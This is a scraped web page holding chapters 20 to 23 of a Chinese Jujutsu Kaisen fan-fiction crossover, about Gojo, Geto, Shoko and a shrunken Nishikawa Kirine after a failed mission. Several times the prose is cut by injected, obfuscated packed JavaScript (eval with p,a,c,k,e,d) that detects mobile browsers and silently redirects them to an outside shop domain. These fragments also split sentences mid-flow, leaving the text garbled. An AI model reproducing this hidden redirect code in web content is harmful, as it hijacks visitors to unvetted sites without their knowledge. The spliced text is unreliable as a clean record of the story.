35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13856316|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 光影斑驳地闪过雾音白净的脸,她将车窗摇下了一些,风便拥着挤着从那缝隙外堆进来,吹乱了雾音一头还未来得及扎起来的黑发。 她被这风吹得有些迷了眼,眼缝都变得细长起来。 她侧了侧头,问着:“五条,你昨晚做梦了吗?” “哈?” 正跟好友你一拳顶着我的肚子,我一拳抵着你的脸的五条悟勉强扭了扭头,看向靠在窗边的西川雾音。 西川雾音:“我很少会做梦,有时候就算做了,也都是光怪陆离的景象。但是昨天我梦到了好几年前发生的事。” 想了想,她又补充了一句:“很清晰,很多细节我自己都忘记了,但是梦到了。” 就好像有人从她的脑子里翻找她的记忆一般。 听到她的话,两个男生的打斗暂时告一段落。 “你是指有人借着梦去翻看你的记忆吗?” 夏油杰收回了仗着此时身体比同期强壮,使劲按着他脑门的手,一针见血地点明了雾音潜藏的含义。 西川雾音点头。 变小的五条悟往后伸手使劲想薅一把夏油杰额前的刘海,被对方敏捷躲开后,撇着嘴悻悻地坐了回去: “确实有做梦。我也梦到以前发生过的事了。” 但是他的梦到不像是单纯地在回忆。 炎热的太阳灼烧着空气里最后一丝水汽,五条悟站在路边街檐下,一边舔着手里的双球冰淇淋,一边试图将自己的脚尖都藏进阴影里。 “那我要走咯噢!很高兴见到你!再见!” 穿着黑色校服的男生背着有他半人高的大书包跳进了被阳光照射的那一半。随着他的跳跃,空气中浮动的灰尘好像都摇摆了一下,显得格外不真切。 被招呼的人还在低着头咬冰淇淋,听到声音,也只是抬了抬眼皮扫了对方一眼,然后就再次垂下眼睫。 好像对方还不如手里的冰淇淋另他感兴趣。 男孩也没丧气,又一次对着穿着和服的漂亮男生挥了挥手后,蹦跳着离开。 蝉叫声不知道在哪棵树上起伏,扰得本就因为炎热而烦躁的五条悟愈加不耐烦。 好在嘴里甜腻的冰淇淋球让他只是在脑中想想怎么将那些蝉一网打尽,并没有真的将此付诸实践。 他一直站在廊檐下,直到吃完冰淇淋,才捏着撕剩下的包装纸,沿着马路的边缘去寻找垃圾桶。 在看到咒力残秽时,他也没有太大的反应。 这种东西几乎每天都游动在他的眼睛里,令他疲倦也让他难免熟视无睹。 所以当他看到熟悉的黑色书包时,稍有怔愣。 那时他在想,这人,好倒霉。 怎么会有人这么倒霉,这么巧就碰到了咒灵。 他死掉了吗? ……冰淇淋,还挺好吃的…… 但是当他沿着咒力残秽一路走来,真的看到半个身体都被咒灵含在嘴里,倒挂着的男孩时,那双蓝到清透的瞳孔却在收缩。 “杰……”五条悟喃喃出人名,等他再仔细去看,咬着男孩的,分明是一只有着四个眼睛,脸上布满火焰暗纹,身体扭曲庞大,如同燃烧的火焰般的特级咒灵。 - “所以你做了什么梦?” 好友的声音响在耳边,将五条悟从回忆中拉扯回来。 他转了转墨镜后的蓝眼睛,以仰躺的姿势回望着坐在后排的两个人:“梦到杰死掉了诶……是雾音的诅咒杀死的噢……” 20.第二十章 夏油杰听完只是哦了一声,然后就伸出手拉起了副驾车座侧边的扶手。 噔地一下,被放倒的座椅就弹了回去,差点把躺着的五条悟掀飞出去。 被安全带勒回座位上的五条悟,白毛在空中甩出一个弧度,连墨镜都掉在了腿上,他瞪圆了蓝眼睛不可置信地望向自己的好友:“你干嘛啊杰——” 而夏油杰已经跟坐在旁边的西川雾音继续着之前的话题。 “看来悟是真的在做梦,那这么说只有雾音身上出了问题。”夏油杰微微蹙眉,再一次看向西川雾音,“是那只特级咒灵吗?” 西川雾音摇了摇头:“它被日轮刀砍断了脑袋,已经彻底被祓除了。” 没有“鬼”能够从日之呼吸里活下来。 西川雾音非常笃定。 可她也不能确定是不是那只咒灵的术式在影响她。 按理来说,咒灵死后,其术式也会解开,但是由于是被人操控的咒灵,咒灵虽死,诅咒师仍活着,所以雾音也无法确定。 夏油杰思考了一下,干脆唤了一声:“悟。” 没有回应。 夏油杰扭头,只看到副驾驶露出的一点白毛。 夏油杰:“……” 夏油杰:“悟。” 白毛无动于衷。 夏油杰:“悟。” 白毛无动于衷。 夏油杰:“悟。” 夏油杰:“悟。” 夏油杰:“悟。” 五条悟终于烦躁地转过脸来,瞪着眼睛,语气不善:“悟悟悟悟……有事五条悟,没事没有悟,招之即来,挥之即去,让老子——” 夏油杰:“我早上让辅助监督给你买了喜久福。毛豆奶油味。” 五条悟:“——让老子看看。” 副驾驶再次噔地一声往后降下,这一次五条悟拿掉了鼻梁上的小圆墨镜,仰躺着去看西川雾音。 白色的头发柔顺地垂下,毫无遮掩地露出了那双如苍穹如冰河的蓝瞳。 蓝瞳仿佛天空的延展,极纯粹透澈的苍蓝中有云样的光泽,它倒映着西川雾音的模样,流露出些许无机质的冷芒。 如果让西川雾音去形容,她大概只能想到冰。 冰川下的暗流。 但好在对方并没有看太久。 短暂的几秒后,雪色的长睫就使劲眨了起来,先前那种给人错觉的神感转瞬即逝。 五条悟忙把小圆墨镜重新架在眼前,一副萎靡的模样瘫在坐椅上: “没有没有——不过你这家伙身上的咒力残秽也太多了吧……眼睛都要痛死啦,我还是伤员诶……跟你说,看一次得收十个毛豆奶油味喜久福!” 六眼的能力,夏油杰还是相信的,五条悟说没有,那就是真的没有。 他一边从挂着的纸袋里掏出一个喜久福扔过去给蔫了的白猫补补身体,一边看向还有些不明所以的雾音: “悟的眼睛能看透所有术式,也可以对咒力轨迹进行追踪和预测。他说你身上只有诅咒和因为命中领域条件,导致年龄变小的咒力应该不会有错。” “估计最多两天,就能变回来了。”五条悟嗷呜一口咬下了喜久福,含混不清道。 这是西川雾音第一次见到五条悟“六眼”的使用方法,只是“看”就能看穿别人身上的咒术。 但同时,这种术式的消耗看起来也极大。 不知怎么,西川雾音想到了呼吸法。 无论是什么呼吸,本质上都是通过强化心肺功能,使身体能力大幅上升,进而暂时拥有强大的体能。但是这种过度消耗身体机能的方式也会对人体造成一些无可挽回的影响。 西川雾音不知道“六眼”是不是也这样。 西川雾音有些好奇地看着五条悟,试图隔着墨镜去看后面那双神奇的眼睛。 正在嚼嚼嚼的五条悟眼角一瞥,随手拿下小圆墨镜,朝后甩了两下:“要试试?” 西川雾音看了看他的眼睛,又看了看墨镜,就接过来凑近观察了一下,也举着竖在了自己脸前,然后就听到五条悟含混不清地问她: “这是几?” 被墨镜遮挡住的视线范围一片漆黑,好像连光都透不进来。 她看不到对方比划的手指,左右张望了一下,连就在身旁的杰也看不到。 于是她诚实地摇头:“看不到。” 同时真诚地问:“原来,‘六眼’是眼神不好吗?” 五条悟刚得意发出的笑声才哈了一声,就被迫拐了个大弯:“哈……哈?” 这次笑容转移到了夏油杰的脸上,他忍不住笑着:“对,对,是的,眼神不太好所以得六个眼睛一起看……” 五条悟气的一把伸手把雾音举着的墨镜夺了回来,用眼镜腿上下甩着敲雾音的脑壳,瞪圆眼睛,龇牙咧嘴: “你说谁瞎呢?再给你一次机会!” 西川雾音被敲得有些懵,不疼,但不懂自己为什么挨打。 她微微睁大浅碧色的眼睛,刚想伸手捂住自己的脑袋,旁边就先伸过来一只手挡在了雾音的头上。 骨节分明的手掌隔着两指的距离横在雾音额前,眼镜腿就这么被拦住了。 拦住不说,还被顺手扯了过来,往前伸,也敲了在白毛头上。 “悟,有跟你说过吧,不要欺负女生。” 夏油杰的声音在雾音头上响起,她忍不住抬头望过去。 男生比她高出好多,她仰着头的姿势恰好能看到他的下颌和喉结。 他正看着前方,狭长的眼睑都被藏在细而密的长睫阴影里,往日里看上去总是温温柔柔的人,以这样的角度注视着,没了笑容遮掩,竟也显出几分锐气。 可他是在护着她。 雾音想着,所以怎么不算温柔呢? 而被不痛不痒敲了一下的白毛则是极不高兴地耷拉着脸:“什么啊,之前欺负歌姬的时候,杰说的明明是‘不要欺负弱者’……是杰先叛变了才是。” 夏油杰主打一个没有录音没有实证就算当没做过:“我可没有,我不记得,不要诬赖我。而且,雾音弱吗?” 他说着,弯着眼睛低头对雾音眨了眨,看上去像是个故意耍赖的坏小孩。 “杰。”西川雾音小小声。 “怎么了?”夏油杰也小小声。 “你看起来才像是那个欺负人的人。”雾音小小声。 夏油杰本来遮在雾音额前的手掌落了下去,按在她的脑袋上,轻轻揉了一下,同样小小声:“哪有,我可不会欺负雾音。” - 车还没停下,离老远就看到了等在高专门口的家入硝子。 硝子站在那里刷着手机,嘴里还叼着棒棒糖。听到引擎声,她才抬起头来,冲着车子挥手。 一见到人,她便开始抱怨。 “什么情况啊你们,听夏油说,你们都荣幸的去了趟梦游仙境?” 家入硝子走过来看到跳下车的两个矮墩子,倒也不惊讶,毕竟提前被夏油杰通了气。 西川雾音跟她打招呼:“下午好啊,硝子。” 家入硝子直接伸手捏住她的脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13878833|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 跟着走下来的夏油杰摊了摊手:“没办法,天然克他俩的一个领域。没有一个躲过去的,都完美的百分百被术式命中了。” “什么啊杰……”白毛小矮子犹不服气,“老子那明明是诱敌深入。” 回应他的是家入硝子没有丝毫感情色彩的哈哈两声。 硝子随手从口袋里掏了盒烟,给夏油杰递了一根:“你辛苦了。” 夏油杰嘴上说着“这不好吧,还在学校门口呢”,然后拿起烟就站在【东京都立咒术高等专门学校】的牌子下抽了起来。 家入硝子:“不愧是你,虚伪的素质人,夏油。” 夏油杰笑笑,他觉得他现在确实需要一根烟缓解一下长达两天一夜紧绷的神经。 他在硝子那蹭了个火,就站在了雾音的下风口,开始吞云吐雾起来。 唯一遭殃的只有跑得慢了的五条悟,被两面夹击,烟雾直冲天灵盖。猛打了几个喷嚏,跑到雾音的旁边才好受了点。 “夜蛾——”五条悟眼睛瞪老大,鬼哭狼嚎着,“这里有人抽烟——” 喊的时候还不忘扯了一把西川雾音:“愣着干嘛,你也喊啊!” 西川雾音直接往旁边走了两步,离他远了一点。 五条悟喊得更起劲了。 好半天没人理他,等他累了,硝子才弹了弹烟灰:“你声音不够大,夜蛾老师后山开会去了。” 五条悟:“……” 五条悟扭头就走,走了几步,又跑过来把一直站旁边的西川雾音也拉走。 “走啊!还站在这干嘛?臭死了!”五条悟语气恶狠狠。 跟嗅觉敏锐的五条相比,西川雾音倒没闻出来空气里有什么呛人的味道。 一时间她也不清楚是真的对烟味无感还是因为本身嗅觉能力消退。 按理说,夏油杰应该是知道她闻不出什么味道的,但他每次仍会站在下风口。 体贴得要命。 想到夏油杰,雾音的视线也就自然地落到了他的身上。 坐了一天的车,黑色立领校服仍板正的穿在身上,脊背微微弯起,修长的手指夹着烟,面容都藏在了一片雾里。 ——很像之前记忆里那些无头无脸的人。 ——被遗忘了,长相也就从记忆里消失掉了。 “杰。” 西川雾音突然出声唤了他一声。 对方疑惑地嗯了一声,脸前的雾也随之散开了。 夏油杰把抽了一半的烟掐灭,往后一丢,就被从他身后突然冒出半个头的咒灵吞进嘴里。 他拍了拍手,朝着雾音走过来:“怎么了?” 西川雾音仰头看了他一会:“就喊喊你。” 他露出无奈的神情:“随便喊,随叫随到。” 然后伸手把雾音举了起来,狭长的眼睛弯成狡黠的弧度:“那就走吧,送你回宿舍去。毕竟爱丽丝的变小药水也是有时限的。” 家入硝子直到抽完了这根才摆摆手走进大门,看着走在前面一大一小两个人,啧了一声: “夏油这个人,你说他违法乱纪,他知道把抽完的烟扔进垃圾桶里。你说他遵纪守法,他把咒灵当垃圾桶子,现在还要诱拐幼女。” 走在硝子旁边的五条悟抬头看她一眼:“啊?诱拐?杰跟我说他从小的梦想就是想要个妹妹。” 家入硝子“呦”了一下:“玩得挺花啊他。你完了,五条,你不如夏油了。” “哈?老子哪里不如杰了啊?”五条悟声音猛得拔高。 “不如他无耻了啊。” 21.第二十一章 抓纸团抽签后,原本选了西川雾音的宿舍作为了这次“接头”的地盘。 结果在半路上就被夜蛾老师堵住,全都提溜去了教学楼办公室。 于是四个人整齐划一地跪在夜蛾正道面前的地板上,等待着来自夜蛾老师的审判。 “说说吧,是谁先提出的交换任务?” 夜蛾正道岔开腿,两手握拳按在膝盖上,往日里显得凶神恶煞的面容在此刻竟意外的平静祥和。 其他三个人都默默低下头,然后伸出食指一齐指向了左边数第二个白毛小鬼。 “夜蛾,你听我狡辩——”白毛小鬼高举起自己的手。 “悟,是吧?”夜蛾正道语气平和,举起手狠狠捶在了白毛脑袋头上。 “嗷!!” 五条悟捂住自己的头,眼泪都要掉下来了。 其他三个人低着头用余光看着红肿的包慢慢从白色的头发里鼓起来,都噤声不语,一个比一个跪得挺直板正。 夜蛾老师是真的一点没手下留情,实打实给了五条一个正义的指导。 “换了任务就算了,悟,你是不是还忘了件事?”夜蛾正道又心平气和地问。 五条悟痛得龇牙咧嘴:“……老子既然都忘了,哪里还会记得……” 夜蛾正道拿起手边的遥控器,打开了办公室里的电视,正是新闻时间。 【……据悉仙台郊区已废弃的孤儿院因为年久未修,地下煤气管道泄露导致的爆炸事件目前已经解决……】 夜蛾正道语气和蔼:“悟,你既然都能把辅助监督打晕,一定也会记得放【帐】吧?” 五条悟:“……” 五条悟举起手,大声道:“不对!我们祓除特级的时候,明明有一个【帐】!” 下一秒指导又毫不犹豫地挥在了五条悟的头上。 夜蛾正道:“是你放的吗?” 西川雾音在旁边默默举起了手。 五条悟捂着头疼得说不出话来,恹恹地重新跪了回去。 夜蛾正道又和蔼地看向另一边笑得乖巧的黑发男生:“杰……” 夏油杰主动举起手:“老师,我错了,我不该因为太担心同学的安危,就偷了你的手机给辅助监督老师发消息,让他送我去仙台。我应该相信老师,相信学校,相信总监会……” 其他三个人对视一眼,都对他偷偷竖起大拇指。 夜蛾正道:“……” 这小子,真是认错态度和犯错态度一样积极又诚恳。 再让他多说两句,定会被带歪。 夜蛾正道选择不废话,直接伸手朝着他头上就是一下。 夏油杰:“……” 夏油杰捂住脑袋,脸上再没了从容,跟旁边的好友一样疼得龇牙咧嘴,老老实实闭上嘴跪了回去。 硝子作为唯一的留守儿童,反而成了四个人中最安全的人。 到了西川雾音时,西川雾音已经乖乖地垂下了脑袋,做好了挨揍的准备。 而夜蛾正道却低头看了她半晌,叹了口气。 他比谁都清楚,这次任务之所以会发生意外,并不是这个孩子的错。 况且,当初他是游说产屋敷同意雾音入学高专,也曾许诺过会保证其安全。而这些事反倒是他的几个学生做到了。 夜蛾正道看着面前的四个学生,有些语重心长:“你们几个,在想什么,想做什么我大概也能猜到。但是有些事情不是那么简单的,知道吗?不要以身涉险。有什么事情还有大人顶着呢。” 说完夜蛾正道干脆挥了挥手:“行了,你们走吧。” 四个人偷摸对视一眼,犹豫了一下站起来排着队准备离开。 夜蛾正道:“除了硝子,雾音、杰、悟,每人交一份五千字的检讨,明天交过来。” 被罚检讨的三个人:“……” 四个人出了办公室,两个头上都顶着红肿硕大的包。 但是也不知道是不是因为已经被夜蛾老师抓住训过,心里的大石头落地了,大家出来后走路的步伐都变慢了。 夜风吹拂着,几个人慢悠悠走在小道上,硝子牵着雾音的手,在试过几次反转术式都不能将特级施加在她身上的术式解除后,也就放弃了,甚至觉得这样小小的也很可爱。 “所以你们准备怎么做?”硝子侧头看向身后并排走在一起的男生。 五条悟摸了摸头上的包,撇了下嘴:“计划照旧呗。” 夏油杰手插在兜里,走得不紧不慢:“夜蛾老师说了,让我们什么都别做。” “好,那问题来了,”硝子抓着西川雾音的手一起举起来,“计划是什么?” 五条悟:“……好问题,杰?” 被点到名的夏油杰先是看了看天,然后看了看自己的同期,叹了口气:“我哪里会知道你啊,我只能理解正常人的想法。” “最强的寂寞,你们不懂。”五条悟将墨镜重新戴在脸上:“所以,先来复盘一下吧。聊聊这次的任务?” 西川雾音一直默不作声听着他们说话,听到五条悟的话,突然道:“我来讲吧。” 三个人的视线立时集中到她身上。 西川雾音没有看他们,而是伸手从旁边的草丛中折下一根斜伸过来的长野草,细长的茎秆上立着诸多毛茸茸的叶片。 西川雾音轻轻挥了挥这茎秆:“仙台的任务是冲着我来的。特级咒灵的术式应该是通过领域特定的脑内时间回溯的方式,不停地重复某一段记忆。如果被回溯人作出与现实相反的选择,术式就会被触发,记忆中的人会变成特级咒灵的化身,除非杀死它,不然无法逃出回溯。如果被咒灵杀死,我猜测应该会脑死亡。身体是完整的,但大脑的意识被抹去。毕竟这才是对方一直所追求的对我的结果。” 西川雾音说着,停顿了一下,看向了身后的五条悟,她低声道:“对不起,我不知道会有特级咒灵。谢谢。” 正认真听着的五条悟,原本也在百般聊赖地伸手揪着路边的野草,突然被道歉,还有些没反应过来:“啊?……哦……哦,没事啊,特级而已。都说了我是想吃仙台的毛豆奶油喜久福……” 五条悟伸手挠了挠自己的脸,左右张望着,颇有些不习惯被人道谢的样子,还伸手推了一把站在旁边的夏油杰。 夏油杰被推得一个趔趄:“……” 夏油杰干脆往前走了两步,站到了西川雾音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13901989|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身边,伸手摸了摸她的头:“不用那么客气。那家伙也是为了他自己。毕竟他也要知道五条家有没有在这其中掺一脚。” 西川雾音仰头去看夏油杰,对他露出一个笑容,将手中的野草茎秆递给了对方。 夏油杰接过野草,轻轻在雾音的头上扫了一下,接着道: “这次的任务,我被分到了神户的一所小学。确实是二级咒灵,但是有些棘手。我到的时候已经有几个学生失踪了,学校也已经全面停课。但是我事后查阅【窗】的上报记录,在第一次出现学生失踪的情况后,就将此定成了【异常事件】。本应该早就有二级以上咒术师去处理的任务被人压了下来,直到这个任务被分到了我这里。” 夏油杰条理清晰地将自己的情况说了一遍:“并且,我不是第一时间就收到了雾音和悟失踪的消息。是我发现我联系不上他们之中的任何一个后,我向学校相关老师上报了情况后,却石沉大海,没有任何消息。所以我合理怀疑是有人不希望你们出事的消息被传出去。” 夏油杰说完后,轮到了五条悟。 “上次商场事件后,老子回了趟京都本家。老子查阅了相关记载,百年前确实有这样一个组织活跃在咒术界,但是很快又莫名其妙消失了,因此记录不多,唯一的一本还是残本,部分内容被人撕掉了。但是,唯一可以确定的是,”五条悟伸出手指,指向了自己,“从1989年起,又开始陆续出现这个组织的身影。” “1989年12月7日?”硝子问。 五条悟点头:“老子出生后,这个世界的咒术平衡就被打破,原本三足鼎立的御三家,也因为老子,鼎足局面被打破,五条家开始成为了主要话语人。老子有说过吗?从老子出生开始,老子的名字就被挂在暗网上,赏金十位数,这么多年来只增不减。所以,如果没有猜错的话,这些人这一次应该是冲着我来的。而西川雾音,” 五条悟歪了下头,纯澈的蓝眼睛看向自己几步之外的女孩,伸出手指了指她:“你应该就是那个要用来杀死我的武器。” 气氛一时有些凝固。 西川雾音与他对视着,在夏油杰想要说话时,西川雾音先一步拉住了他的手。 西川雾音看着五条悟,摇着头:“不对。你说错了。我杀不死你。” “无论是我,还是我身上的诅咒,我们只能杀死‘鬼’。” “我并不是杀死你的武器。” 西川雾音的声音陡然低了下去:“我不是天生的咒术师,也并不会你们天生的那些术式,如果没有咒具,我甚至无法修习呼吸法……” 西川雾音抬起自己的手,摸向了自己的耳朵。 旁边昏暗的路灯洒下的一缕光恰好照着她,众人都无比清晰地看到那只手慢慢地在空荡荡的耳垂处轻拨了一下,空间就像是被折叠了般,闪了一下后,显露出一只耳饰。 印着太阳纹的花札耳饰在灯光下仿佛也在折射着太阳的光辉。 随着耳饰一同显现的,还有那漆黑与殷红纠缠在一起的火焰。 有着四只眼睛的扭曲可怖的怪物立在西川雾音的身后,眦目看着三人。 西川雾音平静道:“我是容器才对。” 22.第二十二章 听说,普通人在情绪极度波动下,也是可以看到怪物的。 而这些怪物都有一个统一的称呼,【咒灵】。 可也许是作为普通人贸然越过了不属于自己世界的惩罚,西川雾音在亲眼目睹了怪物的样子后,眼睛便看不到了。 产屋敷大人说,只有两种方法能够救她。第一种是解咒。 第二种是什么?他却没有言明。 她像是一个落了水的人,湿淋淋的,滴滴答答在背后洇出大片大片的、如可怖怪物的水渍。 宅邸里的人都对她敬而远之。 但是西川雾音不在意。 因为她还有诅咒。 那是她的妈妈。 一直到解咒失败,产屋敷大人将花札耳饰交给她,她才知道这第二种方法,原来是要靠她自己。 西川雾音是个普通人。 如果不是因为足够恐惧,她甚至看不到所谓的【咒灵】。 但是现在这副耳饰赋予了她可以走进另一个世界的权利,让她可以修习呼吸法,甚至可以隐藏她身后那庞大的、如影随形的怪物。 可是这些却是她失去了一切换来的。 她被迫地踏进了另一个世界里。 她明明只是一个普通人。 - 在西川雾音还没有意识到的时候,黑色的外套已经从天而降,掉在了她的头顶上。 然后她整个人都被宽大的外套罩住,遮得严严实实,被人绕过膝弯,抱了起来。 “你们先回去吧。”隔着春季尚且厚实的校服布料,靠在对方的肩膀上,西川雾音听到夏油杰在说话,“等会我送雾音回宿舍。” 硝子没什么意见,拉着旁边还有些懵的白毛转身就走:“行,有什么事就喊我们,我跟五条先走了。” 隐约还能听见五条飘远的声音:“什么鬼……那家伙刚刚是不是哭了?……我又没怪她……” 谁哭了? 西川雾音头顶着衣服,后知后觉地伸手在自己脸上摸了一下,是潮湿的。 她哭了? 她还在为发现的这件事而怔松时,遮在她身上的衣服已经被掀开。 她下意识顺着掀起的衣角往上望,就看到男生那张清绝朗艳的脸。 光正穿过对方的鬓角,斜斜地照在她的半边脸上,露出了一只为自己失控的情绪茫然又莫名惶恐的碧瞳。 像一只幼兽。 夏油杰伸出一只手浅浅遮在那只眼睛上。手掌并未触到她皮肤,只有长长的扇样的眼睫轻颤着,搔在掌心中。 夏油杰没有动,西川雾音也没有动。 在仍旧微凉的暮春晚上,少年人身上燥热的温度通过托举在腿间的有力手臂,成了两个人之间唯一的连接。 可是西川雾音的眼泪却并没有因此停止,反而从手心与脸颊的缝隙处落到了夏油杰深色的内衬上,晕出一小滩不起眼的水渍。 被遮住眼睛的雾音,视线随着泪珠下落,喃喃:“奇怪……” 好奇怪。 这是第二次了。 第二次无知无觉地流泪,也是第二次在夏油杰的面前流泪。 她在自己莫名的难言情绪里,终于辨别出了一点难为情——她不想哭的。 可至于会哭的原因和理由,西川雾音却一无所知。 身体像是早已有了一套属于自己的防御机制,不受大脑的支配和控制,随心所欲地表演着喜怒哀乐,全然不顾当事人的惶恐与困惑。 太奇怪了。 “没关系。”在西川雾音无所适从时,夏油杰放低声音,“我什么都不会看到。” ——他说的不是“没有”,而是“不会”。 西川雾音隔着少年人的手掌望向他,明明什么都看不到,却好像仍能够与那双深紫的、如同开在暗夜里青山鸢尾般的眼睛对视。 那一刻,西川雾音也道不明某一瞬翻涌而过的情绪。 但她还是遵从心意,抬起了手,用葱白的指尖按在遮挡在自己眼前的手掌上,微微用力,夏油杰便顺从地被拉下去。 那双深鸢紫的眼睛就再无遮掩的暴露在雾音面前。 是深邃的澄澈的紫海,平静、温和、从容。 只是这般直白对视之后,不过一瞬,紫色的海便轻移转开,不再看她。 但那只被她拉住的左手,却带着她的一起,快而轻地拭过雾音被打湿的长睫。 夏油杰微微侧着脸,清隽的面容一半隐在暗里,一半被光镀上金边,西川雾音不知道他的目光落向哪里,他只是安静又认真地抹去她眼尾的泪痕。 当真将“看不到”实施到底了。 稍显粗粝的指腹蹭过眼梢,西川雾音不由自主地闭上眼睛,但是抓着对方的手却没有放松,反而攥得更紧。 西川雾音拉着那只手,最终遵循了自己内心的想法,将左脸靠了上去,上下蹭了一下,弯曲的手指便顺从地伸展开,贴在了她的脸侧。 “杰看到也没关系。”西川雾音认真说着,“我所有的狼狈样子,杰都可以看。” 无论是吃下咒灵玉的不适,还是无法抑制的情绪失控,只要是杰,都可以。 说这话的西川雾音其实并没有太多的想法,她只知道杰是不一样的,跟其他人都不一样。 他们就像是可以相互舔舐的同类,彼此知道彼此的一些秘密,彼此相信,她愿意在夏油杰的面前露出脆弱。 可是夏油杰却怔松了一下,这一次他终于看了过来。 深紫的海不复平静。有不知名的风竟吹动了深不可测的海。 柔软缓慢的波浪晕在那深紫里,不待人仔细去看,细密的长睫就低垂下去,遮住了那里面大半的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020020|144506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏油杰无奈地叹笑着:“什么啊……知不知道自己说了什么容易令人误会的话……” 他说着,抚在雾音脸侧的手便顺势抬起,在她头上轻轻拍了一下,然后再次扭过脸去。 可是西川雾音却仰了仰头,顶了一下男生的手,她微微蹙起眉,像是不满对方敷衍的态度,眼见他即将再撇开视线,直接伸出双手捧住了夏油杰的脸。 西川雾音的手指偏凉,与远高于自己体温的皮肤相触后,好像也被染得开始发热发烫,但她仍捧着,慢慢靠前,将自己的额头与对方的额头相贴。 那双碧色的瞳仁无比专注地追逐着那片深紫的海,再次重复着: “只要是杰,都可以。只要是杰,都没有关系。” 夏油杰沉默下来,那原本微弯的眼睛也在雾音的注视中慢慢变得平直、被拉长。 浓郁的紫愈加厚重绵长,深深浅浅,好像被这么望一眼,就会沉溺在海里,令人心悸。 夏油杰定定看着西川雾音良久,维持着这样额头相贴的姿势,鼻息纠缠,然后他道: “如果等雾音变回来,再跟我说一遍这样的话,我会当真。但是现在……” 夏油杰重新弯起眼睛,后仰着拉开距离,同时抬起手轻轻弹了一下雾音的额头,深紫色重新漾起笑意:“小孩子就要早点休息。” 夏油杰单手臂抱着雾音往上托了托,将外套披在她身上裹好,抱着她往宿舍方向走去。 “虽然硝子已经为你跟悟用了反转术式,但是在领域里呆了这么久,精神上的创伤可不是反转术式可以修复的。”夏油杰稳稳地托着小小的西川雾音,声音平稳温和,“雾音不需要想那么多,慢慢来就好。” 慢慢来。 西川雾音趴在夏油杰的肩膀处没再说话。 一直往前走了一小段距离后,西川雾音默默伸出手,环过男生的脖颈,将自己的脑袋贴在了他的颈窝处。 ——这是一种算得上是依赖的姿势。 夏油杰抬起另一只手轻轻摸了摸靠在自己颈边的暖暖的小脑袋。 其实夏油杰不觉得情绪失控是一件坏事。 对于现在的西川雾音来说,也许甚至可以算得上一件好事。 这证明了西川雾音的情感确实没有被所谓的诅咒吞噬,只是被藏在了身体里。现在,那个一直在雾音体内桎梏她情感的开关终于要失效了。 夏油杰这般想着,微微侧了侧脸,他的脸颊便触到软软的发,像是爱怜般的安抚,也像是不经意地轻触。 而西川雾音的回应则更直白一些。 搂过男生脖子的手臂收得更紧了,干脆将半张脸都埋到了他的颈窝里,浅浅的呼吸打在夏油杰的皮肤上,让他感觉有些发痒。 然后他听到女孩闷闷的声音: “杰,你愿意陪我去锻刀吗?” 23.第二十三章 这并不是日轮刀第一次断了。 在过去的四年里,西川雾音也曾断过刀。 这是断的第二把。 碍于咒灵的特殊性,那些属于人的负面情绪与极阳的绯矿石相互冲突,相互侵蚀。 越是等级高的咒灵,其负面情绪对日轮刀的侵蚀就越大。 而为了维持体内诅咒的平衡,西川雾音几乎每隔几日就要去祓除咒灵制作咒灵玉,所以哪怕再小心,日轮刀还是避免不了刀身布满裂痕的结局。 但是西川雾音的第一次断刀,带来的却远不止是刀断了这样简单的结果。 三年前的她在独自一人前往高山市时,遭遇了鬼舞辻一族的袭击。 在那一次受袭中,尚未具备精湛刀技和丰富的实战经验的她,差一点就被准一级假想怨灵拖进了水里淹死。 而诅咒并未现身帮她。 当她艰难在水中翻身站起来,用刀锋强压着假想怨灵的脖颈,砍掉它的脑袋时,青色的刀锋也被坚硬如铁的皮肤崩断。 锋利的刀刃倒旋着崩向西川雾音,割断了她的半边长发,也划伤了她的脸。 她半眯着眼睛,从脸颊到眉尾,斜飞向上的刀口溢出殷红的血,沿着皮肤的纹理,坠在眼睫上,微颤着滴落进水里,氲出丝缕的红。 